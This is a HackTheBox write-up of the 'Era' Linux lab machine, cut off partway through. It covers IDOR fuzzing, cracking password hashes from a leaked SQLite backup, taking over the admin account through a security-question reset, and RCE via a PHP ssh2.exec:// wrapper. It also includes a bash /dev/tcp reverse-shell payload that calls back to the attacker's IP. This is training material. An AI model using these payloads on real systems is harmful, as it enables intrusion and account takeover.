            <guid isPermaLink="false">https://medium.com/p/39501b950c62</guid>
            <category><![CDATA[hackthebox-writeup]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[linux]]></category>
            <category><![CDATA[information-security]]></category>
            <category><![CDATA[hackthebox]]></category>
            <dc:creator><![CDATA[Natius]]></dc:creator>
            <pubDate>Fri, 05 Dec 2025 16:07:34 GMT</pubDate>
            <atom:updated>2025-12-06T08:09:57.591Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LsLl8h-YRPPaRjK7AtZxOg.jpeg" /><figcaption>Era Machine</figcaption></figure><p><strong><em>Era</em></strong> is a <em>medium-difficulty</em> Linux machine that blends <strong>web exploitation</strong> with a clever twist on <strong>binary integrity abuse</strong>. The attack surface begins with a custom <strong>PHP-based</strong> file-upload platform riddled with <strong>Insecure Direct Object Reference (IDOR)</strong> flaws, <strong>weak access controls</strong>, and <strong>improperly protected administrative functionality</strong>. Through <em>service enumeration</em>, <em>virtual host discovery</em> and <em>directory enumeration</em>, these issues broaden into more significant weaknesses, ranging from <strong>insecure file management</strong> to <strong>flawed authentication logic</strong> that can be manipulated to retrieve an <strong>administrative site backup</strong> and ultimately <strong>impersonate</strong> the admin user.</p><p>A closer examination of the application’s source code uncovers a <strong>vulnerable file-preview</strong> mechanism that misuses <strong>PHP stream wrappers</strong>, enabling <strong>remote code execution</strong> through crafted requests. This foothold leads directly into a <strong>reverse shell</strong> via the <strong>application’s SSH integration module</strong>. Privilege escalation becomes the final challenge. A <strong>root-executed</strong> monitoring service relies on<strong> superficial signature validation</strong> for an ELF binary. This weak validation makes it trivial to craft and substitute a malicious “<strong>signed</strong>” binary, resulting in <strong>full root access</strong>.</p><p><strong><em>Era</em></strong> ultimately showcases a complete exploitation chain: <em>service enumeration</em>, <em>virtual host</em> and <em>file discovery</em>, <em>insecure file management</em>, <em>weak access controls</em>, <em>PHP wrapper abuse </em>and a creative privilege escalation vector through <em>flawed signature validation</em>, making it an excellent demonstration of how small security oversights can compound into total system takeover.</p><h3>About Era</h3><ul><li><strong>OS</strong>: <em>Linux</em></li><li><strong>Difficulty</strong>: <em>Medium</em></li><li><strong>Release Date</strong>: <em>26 Jul, 2025</em></li></ul><h3>Environment Setup</h3><ul><li>Before beginning the assessment, initialize your working directory and verify connectivity:</li></ul><pre>mkdir Era &amp;&amp; cd Era</pre><pre>ping -c 3 10.10.11.79</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EJCMAkHjU8rIdfDSaoQpTw.png" /><figcaption>Environment Setup &amp; Checking Connectivity</figcaption></figure><h3>Network Enumeration</h3><ul><li>To begin mapping the exposed attack surface, a comprehensive <strong>Nmap</strong> scan is performed using <em>service detection</em>, <em>default scripts</em> and <em>verbose output</em>:</li></ul><pre>sudo nmap -sCV -vv -oN era.nmap 10.10.11.79</pre><h4>Scan Findings</h4><p>The scan identifies two open TCP services on the target host:</p><ul><li><strong>Port 21 (FTP) </strong>: Service vsftpd 3.0.5</li><li><strong>Port 80 (HTTP)</strong>: The web server responds with a redirect to <a href="http://era.htb/,">http://era.htb/,</a> suggesting the use of a <em>virtual host</em>.</li></ul><h4>Hostname Discovery</h4><ul><li>From Nmap’s output we discover the hostname era.htb, and to interact with the web application the hostname must be resolved locally.</li><li>This is done by adding the entry below to your /etc/hosts file:</li></ul><pre>10.10.11.79   era.htb</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*V0UqFx5weIxNnzvhS9QKlg.png" /><figcaption>Network Enumeration &amp; Hostname Discovery</figcaption></figure><h3>FTP Enumeration</h3><ul><li>Initial enumeration of the <strong>FTP</strong> service running on vsftpd 3.0.5 did not reveal any immediately exploitable vulnerabilities.</li><li>A review of publicly known issues for this version yielded no relevant attack vectors, and a quick searchsploit vsftpd 3.0.5 lookup confirmed the absence of applicable exploits.</li><li>To verify whether the service allowed unauthenticated access, we attempted to connect directly:</li></ul><pre>ftp 10.10.11.79</pre><ul><li>As part of standard <strong>FTP</strong> testing, we attempted the default <strong>anonymous login</strong> with the common credentials: Name: anonymous; Password: anonymous.</li><li>However, anonymous authentication was not permitted, leaving us without further avenues to pursue through <strong>FTP</strong> at this stage. We move on regardless!</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IVNO1TMSaEDl86qXN47UCQ.png" /><figcaption>FTP Anonymous Login</figcaption></figure><h3>Website Content Review</h3><ul><li>With FTP proving unproductive, attention shifted to the web service identified earlier.</li><li>Navigating to <a href="http://era.htb/">http://era.htb/</a> revealed a predominantly static website.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*o-UuQQHOSOzhvKsV7fJCNA.png" /><figcaption>http://era.htb/</figcaption></figure><ul><li>The <strong>About Us</strong> section provides context about the fictional company “<strong>Era Designs Inc.</strong>”, highlighting its focus on interior design and notably, its capability to develop web applications. The information here was largely informational.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pR6ToF3IhnQHnwCiEKDNww.png" /><figcaption>About Us Section</figcaption></figure><ul><li>Further inspection of the site’s public content reveals a <strong>Team </strong>section listing several staff members: <strong><em>Tom Rensed</em></strong><em> — Chief Executive Officer</em>, <strong><em>Kathren Mory </em></strong><em>— Vice President</em> and <strong><em>Lancer Jack</em></strong><em> — Senior Manager.</em></li><li>Although these names could potentially serve as username candidates, none of them provided any actionable value during enumeration.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mGtIOSwZvwQlm_TWtV0vFA.png" /><figcaption>Team Section</figcaption></figure><ul><li>The <strong>Contact </strong>section<strong> </strong>includes an email address, support@era.htb, but it also proved unhelpful in the context of exploitation.</li><li>Its associated contact form functions as a simple static placeholder, offering no interactive features worth testing for input handling vulnerabilities.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*N7ET7S8raUNZxIUHvLnnlw.png" /><figcaption>Contact Section</figcaption></figure><ul><li>A review of the website’s <strong>HTML source code</strong> similarly yielded no <em>useful indicators</em>, <em>hidden paths</em>, or <em>embedded functionality</em>, prompting further exploration beyond the static content.</li></ul><h3>Virtual Host and Subdomain Enumeration</h3><ul><li>To expand the attack surface, <strong>virtual host enumeration</strong> was conducted using gobuster (though ffuf would be an equally suitable alternative):</li></ul><pre>gobuster vhost --url http://era.htb -wordlist /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt --append-domain --threads 100 -output era_vhosts.txt</pre><ul><li>— append-domain option automatically appends the base domain (era.htb) to each wordlist entry, generating valid <strong>VHost</strong> candidates.</li><li><strong>Threading</strong> ( — threads 100) was increased from the default to accelerate the brute-force process. In real-world scenarios, however, high thread counts can raise alerts on monitoring systems — so <strong>Operations Security (OpSec) </strong>should always be taken into account.</li><li>The enumeration produced a single valid virtual host: file.era.htb.</li><li>This host was added to /etc/hosts to ensure proper resolution.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Pp0bnCiV2kf8usTIyT5guw.png" /><figcaption>Virtual Host Enumeration</figcaption></figure><h4>Exploring file.era.htb</h4><p>Navigating to <a href="http://file.era.htb/">http://file.era.htb/</a> revealed several accessible links:</p><ul><li><strong>Manage Files</strong></li><li><strong>Upload Files</strong></li><li><strong>Update Security Questions</strong></li><li><strong>Sign In</strong></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hKBWxu6MWWiJ0huYj3wTHQ.png" /><figcaption>http://file.era.htb/</figcaption></figure><p>All of these pages redirect to the <strong>Sign In</strong> portal, indicating authentication is required before any functionality is exposed.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EMlQ6j4Phr9UTn3i0zOwiQ.png" /><figcaption>http://file.era.htb/login.php</figcaption></figure><p>A secondary login option is available: “<strong>Log in Using Security Questions</strong>”. This is noteworthy as we will revise it later.</p><p>The form prompts for:</p><ul><li><strong>Username</strong></li><li><strong>Mother’s maiden name</strong></li><li><strong>Name of first pet</strong></li><li><strong>City of birth</strong></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QTJ2l8WU1WGfBoNQcDH5zg.png" /><figcaption>http://file.era.htb/security_login.php</figcaption></figure><p>Submitting placeholder values did not yield any useful feedback or facilitate username enumeration, so this avenue is set aside for now pending further discoveries.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZvHq45WiSpYp1GX5rNO1dg.png" /><figcaption>Submitting Placeholder Values</figcaption></figure><h3>Directory Enumeration</h3><ul><li>To uncover additional functionality on the file.era.htb virtual host, a directory enumeration scan was performed using gobuster:</li></ul><pre>gobuster dir --url http://file.era.htb --wordlist /usr/share/seclists/Discovery/Web-Content/raft-small-words.txt --extensions php --exclude-length 162,6765 --threads 100 --no-error --output era_dir_enum.txt</pre><ul><li>--extensions php ensures the scan also checks for <strong>PHP</strong> files, which are common entry points on custom web applications.</li><li>--exclude-length filters out repeated responses based on length to allow us get meaningful results.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zEDg2p2WNrEBhmhjUOyPlQ.png" /><figcaption>Directory Enumeration</figcaption></figure><ul><li>Most discovered endpoints either returned <strong>403 Forbidden</strong> or redirected to login.php, the <strong>Sign In</strong> portal.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VSchMgGToEjWQykkKofL5g.png" /><figcaption>403 Forbidden Page</figcaption></figure><ul><li>However, an important exception emerged, register.php.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZUq2aTFQYmIIrjYo1HzeYA.png" /><figcaption>Register Page</figcaption></figure><h4>User Registration via register.php</h4><p>The /register.php endpoint enabled the creation of new user accounts. During registration, a server-side filter was observed: certain substrings (e.g., or) were sanitized, altering our input. For example. attempting to register with the password password resulted in the stored value passwd. So when you attempt to login in, you will use your password as passwd instead of password.</p><p>Once registered, the application redirected to the login page and after signing in, provided access to several new sections:</p><ul><li><strong>Manage Files</strong></li><li><strong>Upload Files</strong></li><li><strong>Update Security Questions</strong></li><li><strong>Sign Out</strong></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rjVOy-5uVf4Zh726vqa4xw.png" /><figcaption>http://file.era.htb/manage.php</figcaption></figure><ul><li>The <strong>Manage Files</strong> area displayed uploaded files and related metadata.</li><li><strong>Upload</strong> functionality allowed submitting files, though attempts at common file upload attacks were unsuccessful.</li><li>Each uploaded file became available through a download link resembling:</li></ul><pre>http://file.era.htb/download.php?id=8506</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tJsK8RfV6KUrQNoTbSOk0w.png" /><figcaption>http://file.era.htb/upload.php</figcaption></figure><ul><li>The parameterized id value suggested the potential for <strong>Insecure Direct Object Reference (IDOR)</strong> exploitation.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VFJoxM3eBb_-wbAeHHfIMw.png" /><figcaption>Download Link on <a href="http://file.era.htb/download.php?id=8506">http://file.era.htb/download.php?id=8506</a></figcaption></figure><h4>IDOR Testing</h4><ul><li>To automate testing of the id parameter, a fuzzing approach using gobuster was used:</li></ul><pre>seq 1 9000 &gt; ids.txt &amp;&amp; gobuster fuzz --url &#39;http://file.era.htb/download.php?id=FUZZ&#39; --cookies &#39;PHPSESSID=iki73t26fmencd8s3tddsn2k5d&#39; --wordlist ids.txt --exclude-length 7686 --output fuzzed_ids.txt</pre><ul><li>seq generates numeric IDs for testing and stores them in the ids.txt file.</li><li>gobuster fuzz iterates through each ID using an authenticated session cookie.</li><li>seq 1 9000 was used to include our file id in the results as our downloaded file had the id 8506.</li><li>To obtain a <strong>valid session cookie</strong> intercept the download file request:</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hEpBAlzQSOT3mw5wTUs5nQ.png" /><figcaption>Obtaining Session Cookie</figcaption></figure><ul><li>--exclude length removes common error and unnecessary responses, highlighting unique outputs.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IqyHP0lgojAQyJ0rMZDiEQ.png" /><figcaption>ID Fuzzing Using Gobuster</figcaption></figure><ul><li>The valid IDs were discovered, including our own (8506) and two additional ones: 54 and 150.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*c9kFlarzF8WhVi2gSjG-_g.png" /><figcaption>Successfully fuzzed IDs</figcaption></figure><h4>ID 54 — Site Backup</h4><ul><li>Visiting:</li></ul><pre>http://file.era.htb/download.php?id=54</pre><p>yielded a downloadable archive: site-backup-30–08–24.zip</p><ul><li>After extracting:</li></ul><pre>mkdir site-backup &amp;&amp; cd site-backup</pre><pre>7z x ../site-backup-30-08-24.zip</pre><p>A variety of application files were revealed. Of particular interest:</p><ul><li>filedb.sqlite — the application’s database.</li><li>download.php — the backend logic for file retrieval.</li></ul><p>Both would prove useful for deeper analysis.</p><h4>ID 150 — Signing Files</h4><ul><li>Navigating to:</li></ul><pre>http://file.era.htb/download.php?id=150</pre><p>allowed retrieval of signing.zip, which was extracted as follows:</p><pre>mkdir signing &amp;&amp; cd signing</pre><pre>7z x ../signing.zip</pre><p>The archive contained two files:</p><ul><li>key.pem</li><li>x509.genkey</li></ul><p>These cryptographic files appear related to the application’s signing mechanisms and will become significant later in the privilege escalation phase.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TUTSgyyrL_z6hLowNjjsCQ.png" /><figcaption>Extracting Archive Files</figcaption></figure><h3>Database Analysis and Credential Extraction</h3><ul><li>With access to the <strong>site backup</strong>, the next step involved examining the <strong>SQLite database</strong> (filedb.sqlite) to extract <em>user information</em>, <em>file metadata</em> and any potential <em>authentication credentials</em>.</li><li>The database was inspected using the <strong>SQLite CLI</strong>:</li></ul><pre>sqlite3 filedb.sqlite</pre><ul><li>The following queries were issued:</li></ul><pre>.schema<br>SELECT * FROM files;<br>SELECT * FROM users;<br>SELECT user_name, user_password FROM users;</pre><p>The schema revealed three primary tables:</p><ul><li>files — stores <em>file identifies, paths, owner IDs</em>, and <em>timestamps</em>.</li><li>users — contains <em>user credentials, auto-delete settings,</em> and <em>security question answers</em>.</li><li>sqlite_sequence — tracks <em>AUTOINCREMENT</em> state.</li></ul><p>Reviewing the contents of the users table exposed several accounts along with their hashed passwords.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wYr8IZGDkQbIO4qyxap4QA.png" /><figcaption>Database Analysis</figcaption></figure><h4>Preparing Hashes for Cracking</h4><ul><li>To streamline cracking with Hashcat, the extracted <strong>username:hash</strong> pairs were reformatted by replacing pipe separators with colons. Using vim, this was performed with:</li></ul><pre>:%s/|/:/g</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*z80boNt879IH5OuEuvkcWQ.png" /><figcaption>Reformatting Hashes with Vim</figcaption></figure><ul><li>Before cracking, it was necessary to identify the hash type. Extracting only the hashes into a file and running hashid produced:</li></ul><pre>Blowfish(OpenBSD) [Hashcat Mode: 3200]</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xNfPF1X_Uv-lxcmhlaD0-A.png" /><figcaption>Identifying Hash Type with hashid</figcaption></figure><h4>Cracking the Passwords</h4><ul><li>Using <strong>Hashcat</strong> (-m 3200) and the rockyou.txt wordlist yielded two successful cracks:</li></ul><pre>hashcat.exe -m 3200 --username HTB\hashes\hashes HTB\wordlists\rockyou.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*M4lINhTafHQJnWXu4UaKWw.png" /><figcaption>Cracking Hashes with Hashcat</figcaption></figure><ul><li>Displaying the cracked hashes:</li></ul><pre>hashcat.exe -m 3200 --username HTB\hashes\hashes --show</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*s7DP9KNc-sakIrx4TgTdkQ.png" /><figcaption>Displaying Cracked Hashes</figcaption></figure><ul><li>Recovered credentials:</li></ul><pre>eric:america<br>yuri:mustang</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*N-B7QgDz9dYK5tFWFLkgCA.png" /><figcaption>Recovered Credentials</figcaption></figure><h3>FTP Access and Configuration Discovery</h3><ul><li>Further analysis revealed that one of the uncracked accounts, admin_ef01cab31aa, is likely the platform’s <strong>administrative user</strong>. Although the password could not be recovered at this stage, its potential significance should be kept in mind.</li><li>With the newly obtained credentials, it was time to revisit the earlier <strong>FTP</strong> service enumeration in hopes of gaining authenticated access:</li><li>eric:america — <strong>530 Permission denied.</strong></li><li>yuri:mustang — <strong>Login successful.</strong></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xPP88kVQB2BPtMVvbFcfQA.png" /><figcaption>Authenticating Credentials Using FTP</figcaption></figure><h4>Enumerating FTP as yuri</h4><p>After successfully logging in, directory listing revealed two folders:</p><ul><li>apache2_conf</li><li>php8.1_conf</li></ul><p><strong>Exploring </strong><strong>apache2_conf</strong></p><p>Within apache2_conf, four <strong>Apache configuration files</strong> were identified:</p><ul><li>000-default.conf</li><li>apache2.conf</li><li>file.conf</li><li>ports.conf</li></ul><p>All files were downloaded locally using:</p><pre>mget *</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*e7_am2nYF-VMgR0GwrpHjg.png" /><figcaption>FTP Enumeration and File Download</figcaption></figure><ul><li>A review of their contents showed standard web server configuration data.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5glaT_lujwJHDvlrpzYdpg.png" /><figcaption>Reviewing FTP File Contents</figcaption></figure><p><strong>Exploring </strong><strong>php8.1_conf</strong></p><ul><li>The second <strong>FTP</strong> directory, php8.1_conf, contained <strong>PHP-related</strong> configuration files.</li><li>Among them, the presence of ssh2.so was particularly interesting.</li><li>This extension enables <strong>SSH2 stream wrappers</strong> in <strong>PHP</strong>, potentially allowing <strong>remote command execution</strong> under certain conditions.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9C58G3POJ2OUMBCMY7yZfA.png" /><figcaption>Enumerating php8.1_conf</figcaption></figure><h4>Revisiting download.php</h4><ul><li>Returning to the download.php file extracted earlier, one section stood out: a <strong>BETA feature reserved for the admin </strong>that allows rendering files using <strong>PHP wrappers</strong>.</li><li>The key Logic</li></ul><pre>        // BETA (Currently only available to the admin) - Showcase file instead of downloading it<br>        } elseif ($_GET[&#39;show&#39;] === &quot;true&quot; &amp;&amp; $_SESSION[&#39;erauser&#39;] === 1) {<br>                $format = isset($_GET[&#39;format&#39;]) ? $_GET[&#39;format&#39;] : &#39;&#39;;<br>                $file = $fetched[0];<br><br>                if (strpos($format, &#39;://&#39;) !== false) {<br>                        $wrapper = $format;<br>                        header(&#39;Content-Type: application/octet-stream&#39;);<br>                } else {<br>                        $wrapper = &#39;&#39;;<br>                        header(&#39;Content-Type: text/html&#39;);<br>                }<br><br>                try {<br>                        $file_content = fopen($wrapper ? $wrapper . $file : $file, &#39;r&#39;);<br>                        $full_path = $wrapper ? $wrapper . $file : $file;<br>                        // Debug Output<br>                        echo &quot;Opening: &quot; . $full_path . &quot;\n&quot;;<br>                        echo $file_content;<br>                } catch (Exception $e) {<br>                        echo &quot;Error reading file: &quot; . $e-&gt;getMessage();<br>                }</pre><p>This code demonstrates:</p><ul><li>The admin can specify a <strong>wrapper protocol</strong> via format= (e.g., ssh2://, php://, etc.).</li><li>If the wrapper is valid, it is prepended directly to the file path in an fopen() call.</li><li>This can lead to <strong>command execution </strong>capability in our case.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KgsnFXyoACTGvYaErVM8vw.png" /><figcaption>Code Demonstrating Potential Wrapper-Based Exploitation</figcaption></figure><p>Given the earlier discovery of ssh2.so on the <strong>FTP </strong>server, this functionality becomes particularly promising for exploitation. The extension could allow code execution through <strong>SSH2 </strong>stream wrappers.</p><h3>Abusing Security Question Reset Functionality</h3><ul><li>During review of the <strong>Update Security Questions</strong> feature, an important observation emerged: the form includes a <strong>modifiable Username</strong> field, implying that <em>users can reset the security questions for any account</em>, not just their own. This weakness becomes crucial when combined with the earlier discovery of the administrative user admin_ef01cab31aa.</li></ul><p>Security Question Fields:</p><ul><li><strong>Username</strong></li><li><strong>What is your mother’s maiden name?</strong></li><li><strong>What is the name of your first pet?</strong></li><li><strong>In which city were you born?</strong></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kVaa4mFBXqMyqbIco33bLA.png" /><figcaption>Update Security Questions Form</figcaption></figure><p>Using this functionality, it is possible to reset the security questions for the admin account and authenticate as that user.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gkZLEHkz2r5XkRMfgzeFVQ.png" /><figcaption>Resetting Security Questions for the Admin User Account</figcaption></figure><p>After successfully doing so and logging in as admin_ef01cab31aa, the <strong>Manage Files</strong> section exposes two familiar archives:</p><ul><li>site-backup-30–08–24.zip</li><li>signing.zip</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wRCOzUXF4oJfVUbzLrVuEg.png" /><figcaption>Loggin in with the Admin User Account</figcaption></figure><h3>Leveraging the Admin-Only BETA Feature for RCE via SSH2 Wrapper</h3><ul><li>When attempting to download site-backup-30–08–24.zip, the request was intercepted and modified to trigger the <strong>admin-only file preview</strong> (show=true) functionality.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7bLfHe5BUAaEJHwU2VddTg.png" /><figcaption>Download Option for the Site Backup Archive</figcaption></figure><ul><li>The format parameter allows use of <strong>PHP stream wrappers</strong>, including ssh2.exec://, identified earlier within the system’s <strong>PHP</strong> configuration.</li></ul><h4>Proof-of-Concept Ping Injection</h4><ul><li>Modified request captured via <strong>Burp</strong>:</li></ul><pre>GET /download.php?id=54&amp;show=true&amp;format=ssh2.exec://eric:america@127.0.0.1:22/ping+-c1+10.10.14.145; HTTP/1.1</pre><p>Key points:</p><ul><li>show=true — activates the <strong>admin-only preview</strong> mode.</li><li>format=ssh2.exec://eric:america@127.0.0.1:22/ping+-c1+10.10.14.145 — injects the SSH2 execution wrapper.</li><li>Trailing ; is required, to separate the command.</li><li>Local Machine listens for <strong>ICMP traffic</strong>:</li></ul><pre>sudo tcpdump -i tun0 -v icmp</pre><ul><li>The response confirms successful execution:</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pfVDtDDrYpYVfZ9qljuo5w.png" /><figcaption>Intercepting the Download File Request</figcaption></figure><h4>Obtaining a Reverse Shell</h4><ul><li>A reverse shell payload was injected using the same wrapper:</li></ul><pre>GET /download.php?id=54&amp;show=true&amp;format=ssh2.exec://eric:america@127.0.0.1:22/bash+-c+&#39;bash+-i+&gt;%26+/dev/tcp/10.10.14.145/9001+0&gt;%261&#39;; HTTP/1.1</pre><ul><li>Setup a listener on the attacking machine:</li></ul><pre>nc -nlvp 9001</pre><ul><li>A <strong>fully interactive shell</strong> was obtained as eric user.</li><li>Shell Upgrade was necessary:</li></ul><pre>python3 -c &#39;import pty;pty.spawn(&quot;/bin/bash&quot;)&#39;</pre><ul><li>Press Ctrl-z</li><li>We get back to our local terminal. We then enter the command below and press &lt;ENTER&gt; to get the shell prompt for eric user:</li></ul><pre>stty raw -echo; fg</pre><blockquote>The stty raw -echo command suppresses the annoying behavior of echoing characters back to you while executing commands.</blockquote><ul><li>To clear our screen and ensure proper handling of cursor movements:</li></ul><pre>export TERM=xterm</pre><ul><li>With stable shell access, the <strong>user flag</strong> was retrieved.</li></ul><h4>Local Enumeration</h4><ul><li>To Access yuri user account:</li></ul><pre>su - yuri</pre><ul><li>When prompted enter yuri‘s password.</li></ul><p><strong>Sudo privilege checks:</strong></p><pre>sudo -l</pre><ul><li>Result for both eric and yuri return the error Sorry, user &lt;user&gt; may not run sudo on era.</li></ul><p><strong>User and Group Memberships</strong></p><pre>whoami</pre><pre>id</pre><pre>groups</pre><ul><li>eric belongs to eric and devs groups, interesting results!</li><li>yuri belongs only to yuri group</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*unkisqjMJGfQIb1K-ym-eA.png" /><figcaption>Reverse Shell Acces and Local Enumeration</figcaption></figure><p><strong>Checking for Valid Users with a Shell</strong></p><pre>grep &#39;sh$&#39; /etc/passwd</pre><ul><li>Valid users are root, eric and yuri</li></ul><p><strong>Identifying </strong><strong>devs Group Resources</strong></p><pre>find / -group devs 2&gt;/dev/null</pre><ul><li>Inside /opt/AV/periodic-checks, we have two files monitor binary file and status.log log file</li><li>This directory is writable by users in the devs group, meaning eric <strong>can modify or replace files here</strong>, setting the stage for a <strong>binary-hijack and signature-abuse</strong> privilege escalation path.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*b-E8vQSmBYR0Pb45QcXwgg.png" /><figcaption>Enumerating Users &amp; devs Group Resources</figcaption></figure><h3>Privilege Escalation via Cron-Triggered Binary Signature Validation</h3><ul><li>Further analysis revealed that a <strong>cron job executes every minute</strong>, interacting directly with the monitor binary located in /opt/AV/periodic-checks.</li><li>This suggested the presence of an automated validation or integrity-checking mechanism.</li><li>To verify this, pspy was deployed to monitor real-time process activity.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rAsk7AfT68nVSQ2EiKp4gw.png" /><figcaption>Downloading and Uploading pspy</figcaption></figure><ul><li>To run pspy64:</li></ul><pre>./pspy64</pre><h4>Identifying Cron Activity with pspy</h4><ul><li>After downloading, transferring and running pspy64, the following recurring process chain was observed:</li></ul><pre>2025/12/05 08:51:07 CMD: UID=0     PID=1      | /sbin/init <br>2025/12/05 08:52:01 CMD: UID=0     PID=9834   | /usr/sbin/CRON -f -P <br>2025/12/05 08:52:01 CMD: UID=0     PID=9835   | /usr/sbin/CRON -f -P <br>2025/12/05 08:52:01 CMD: UID=0     PID=9836   | bash -c /root/initiate_monitoring.sh <br>2025/12/05 08:52:01 CMD: UID=0     PID=9837   | objcopy --dump-section .text_sig=text_sig_section.bin /opt/AV/periodic-checks/monitor <br>2025/12/05 08:52:01 CMD: UID=0     PID=9838   | /bin/bash /root/initiate_monitoring.sh <br>2025/12/05 08:52:01 CMD: UID=0     PID=9839   | /bin/bash /root/initiate_monitoring.sh <br>2025/12/05 08:52:01 CMD: UID=0     PID=9842   | grep -oP (?&lt;=UTF8STRING        :)Era Inc. <br>2025/12/05 08:52:01 CMD: UID=0     PID=9840   | /bin/bash /root/initiate_monitoring.sh <br>2025/12/05 08:52:01 CMD: UID=0     PID=9845   | grep -oP (?&lt;=IA5STRING         :)yurivich@era.com <br>2025/12/05 08:52:01 CMD: UID=0     PID=9843   | /bin/bash /root/initiate_monitoring.sh <br>2025/12/05 08:52:01 CMD: UID=0     